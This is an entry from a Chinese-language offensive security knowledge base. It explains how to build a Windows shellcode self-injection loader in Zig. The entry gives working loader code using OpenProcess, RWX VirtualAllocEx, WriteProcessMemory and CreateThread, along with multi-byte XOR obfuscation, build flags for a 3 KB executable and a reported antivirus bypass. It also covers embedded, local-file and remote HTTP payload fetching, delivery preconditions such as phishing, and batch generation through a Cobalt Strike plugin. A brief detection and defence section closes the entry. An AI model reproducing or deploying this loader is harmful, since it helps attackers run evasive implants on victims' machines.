♧ Godown 安全知识树

Zig 写 Windows Shellcode 自注入加载器:OpenProcess/VirtualAllocEx/WriteProcessMemory/CreateThread + 多字节 XOR 混淆,内嵌/本地文件/远程 HTTP 三种取码

pentest/c2 · verified

一句话结论

用 Zig 直接声明 extern "kernel32" 的 Win API,就能写一个最小 Windows Shellcode 自注入加载器:OpenProcess(自身 PID) → VirtualAllocEx(RWX) → WriteProcessMemory → CreateThread → WaitForSingleObject 执行;把 shellcode 做多字节随机 key 异或(如 Supernova -enc xor -lang c -k 10)并在运行时解密,再用 -O ReleaseSmall -fstrip -fsingle-threaded 编出约 3 KB 的 exe;异或版本实测通过 360 扫描(图05“扫描未发现风险”)并弹出计算器,原文仅称未加密版本会被杀毒识别(未给查杀截图);shellcode 可取内嵌数组、本地文件、远程 HTTP 三种来源,另有 CS 插件 CSx4Ldr 自动化生成。

原理

  • 为什么选 Zig:Zig 自带 C 交叉编译链与 LLVM 后端,跨平台产物可控;相比 Go/Rust/Nim,仅靠编译参数就能显著控制 PE 体积与流程(4 种优化模式 + strip + single-threaded),且当时用 Zig 写加载器的样本少,静态特征/查杀规则覆盖弱。
  • 体积控制:默认 zig build-exe Hello World 约 742 KB;-O ReleaseFast/-O ReleaseSmall 降到 4608 字节;再加 -fstrip -fsingle-threaded 仅 3072 字节。小体积减少可疑节区与字符串面,也便于嵌入钓鱼/捆绑载体。
  • Win API 直调:Zig 通过 extern "kernel32" fn ... callconv(WINAPI) 声明函数原型,无需额外绑定库;win.kernel32、win.MEM_COMMIT、win.PAGE_EXECUTE_READWRITE、win.INFINITE 等常量由 std.os.windows 提供。
  • 自注入执行链:OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()) 拿到自身进程句柄 → VirtualAllocEx 申请 PAGE_EXECUTE_READWRITE 内存 → WriteProcessMemory 写入 shellcode → CreateThread 以其地址为入口起线程 → WaitForSingleObject(INFINITE) 防止主线程提前退出。逐字节 ^= key[j] 的多字节循环异或用于消除明文 shellcode 特征;密钥随机、长度可变,密文与 key 都可改写成 Zig 数组。
  • 三种取码方式的意义:内嵌数组无外部依赖但密文固定;本地文件读取(std.fs.cwd().openFile + bufferedReader + 固定长度 buffer)可现场换 payload,避免把 shellcode 写进二进制;远程 HTTP 读取(std.http.Client GET 后 readAll)可随时更新 payload 并分离投递物,代价是引入网络行为特征。
  • 免杀边界:原文只给出多字节 XOR 版本 360"扫描未发现风险"的截图(图05),未加密版本被识别仅为作者陈述、无截图;这属当时的静态扫描效果;EDR 的内存扫描、RWX 页告警、CreateThread 远程/自进程行为、网络下载链仍可能命中,效果随防护产品与时间变化。

触发条件

  • 已获得 Windows 目标的代码执行与文件落地能力(钓鱼附件、Web 命令执行、其他 loader 落地等)。
  • 目标未启用仅允许签名二进制的策略(AppLocker/WDAC 会直接拦截自编译 exe)。
  • 有可用的 shellcode(Cobalt Strike/MSF 生成的 raw beacon)与 Zig 工具链(可在攻击机交叉编译 -target x86_64-windows)。
  • 远程取码变体要求目标可出网访问 payload 服务器;本地文件变体要求能同时落地 shellcode 文件。

利用步骤

  1. 生成 raw shellcode(如 calc.bin),用 Zig 自带函数或 Supernova 做多字节 XOR:Supernova.exe -enc xor -i .\calc.bin -lang c -k 10,得到随机 key 与密文数组。
  2. 按 Win API 原型写出 Injection()(OpenProcess/VirtualAllocEx/WriteProcessMemory/CreateThread/WaitForSingleObject),运行时先 xorEncrypt(shellcode, key) 再写入。
  3. 选择取码方式:内嵌 var shellcodeX64 = [_]u8{...};或 std.fs.cwd().openFile("calc.bin") 读入固定 buffer(buffer 必须大于文件);或 std.http.Client GET 远程 URL 后 readAll。
  4. 编译:zig build-exe .\main.zig -O ReleaseSmall -fstrip -fsingle-threaded --name x4Ldr -target x86_64-windows。
  5. 落地运行 exe,shellcode 解密后经自注入线程执行(原文以弹出计算器验证)。
  6. 批量生产可改用 CS 插件 CSx4Ldr:脚本取监听器 shellcode,str_xor 生成 key,填充 gzip+base64 模板中的 {{KEY}}/{{SHELLCODE}},写 /tmp/temp.zig 后调用 zig 编译并清理临时文件。

PoC

const std = @import("std");
const win = std.os.windows;

const PROCESS_ALL_ACCESS = 0x000F0000 | (0x00100000) | 0xFFFF;

extern "kernel32" fn GetCurrentProcessId() callconv(win.WINAPI) win.DWORD;
extern "kernel32" fn OpenProcess(dwDesiredAccess: win.DWORD, bInheritHandle: win.BOOL, dwProcessId: win.DWORD) callconv(win.WINAPI) win.HANDLE;
extern "kernel32" fn VirtualAllocEx(hProcess: win.HANDLE, lpAddress: ?win.LPVOID, dwSize: win.SIZE_T, flAllocationType: win.DWORD, flProtect: win.DWORD) callconv(win.WINAPI) win.LPVOID;
extern "kernel32" fn WriteProcessMemory(hProcess: win.HANDLE, lpBaseAddress: win.LPVOID, lpBuffer: win.LPCVOID, nSize: win.SIZE_T, lpNumberOfBytesWritten: *win.SIZE_T) callconv(win.WINAPI) win.BOOL;
extern "kernel32" fn CreateThread(attr: ?*anyopaque, stacksize: usize, entrypoint: ?*anyopaque, param: ?*anyopaque, creationflag: u32, threadid: ?*u32) callconv(win.WINAPI) ?win.HANDLE;
extern "kernel32" fn WaitForSingleObject(handle: ?win.HANDLE, duration: u32) callconv(win.WINAPI) u32;

fn xorEncrypt(data: []u8, key: []const u8) void {
    var j: usize = 0;
    for (data) |*value| {
        if (j == key.len) j = 0;
        value.* ^= key[j];
        j += 1;
    }
}

fn Injection(shellcode: []u8) void {
    const pHandle = OpenProcess(PROCESS_ALL_ACCESS, win.FALSE, GetCurrentProcessId());
    const rPtr = VirtualAllocEx(pHandle, null, shellcode.len, win.MEM_COMMIT, win.PAGE_EXECUTE_READWRITE);
    var bytesWritten: win.SIZE_T = undefined;
    _ = WriteProcessMemory(pHandle, rPtr, @ptrCast(shellcode.ptr), shellcode.len, &bytesWritten);
    const tHandle = CreateThread(null, 0, @ptrCast(rPtr), null, 0, null);
    _ = WaitForSingleObject(tHandle, win.INFINITE);
}
# 编译(3 KB 级产物)
zig build-exe .\main.zig -O ReleaseSmall -fstrip -fsingle-threaded --name x4Ldr -target x86_64-windows
# 多字节 XOR 加密 shellcode,生成随机 key 与 C 数组
Supernova.exe -enc xor -i .\calc.bin -lang c -k 10

变体与关联

  • 变体(取码):内嵌数组 / std.fs.cwd().openFile 本地读取 / std.http.Client 远程 HTTP 读取;远程版本可换 HTTPS 或加自定义请求头伪装流量。
  • 变体(执行):把自注入改为 CreateRemoteThread/APC/线程池注入其他进程;用 VirtualProtect 改为 RX 避免长期 RWX;换 AES/RC4/ChaCha20 加密(Supernova 均支持)。
  • 关联:[[pentest-c2-c-xor-argv-key-bytearray-api-loader-edr-bypass]](同类 XOR loader,C 实现、key 走 argv、函数名字节数组)、[[pentest-c2-zig-windows-pic-shellcode-build-extract]](同为 Zig+Windows,但侧重用 build.zig 生成 PIC shellcode 本身)、[[pentest-c2-zigdonut-elf-to-shellcode-python-loader]](zigdonut 是 ELF→shellcode,本文是 shellcode→Windows 加载器)。
  • 边界:Zig 语法/标准库版本差异(如 std.http 在旧版本为 std.http.Client 的 API 变化)会导致编译失败;std.fs 读取需固定长度 buffer;AV/EDR 对 RWX 与自注入行为敏感,原文的"扫描未发现风险"仅代表当时 360 静态扫描。

检测与防御

  • 检测:小体积(数 KB)无签名 PE 的 OpenProcess+VirtualAllocEx+WriteProcessMemory+CreateThread 组合;RWX 页出现后立即执行;进程向陌生域名的单次小文件 GET;Zig 编译产物特征(如特定运行时字符串/节布局)。
  • 防御:启用 EDR 内存扫描与 API 行为链告警;AppLocker/WDAC 限制未签名二进制;阻止终端任意出网或只放行白名单域名;对 shellcode 常见自注入序列做规则化检测。
  • 边界提醒:免杀效果强依赖环境与时间,任何 loader 都应按目标防护产品单独验证,不能把原文的 360 结果外推为通用免杀。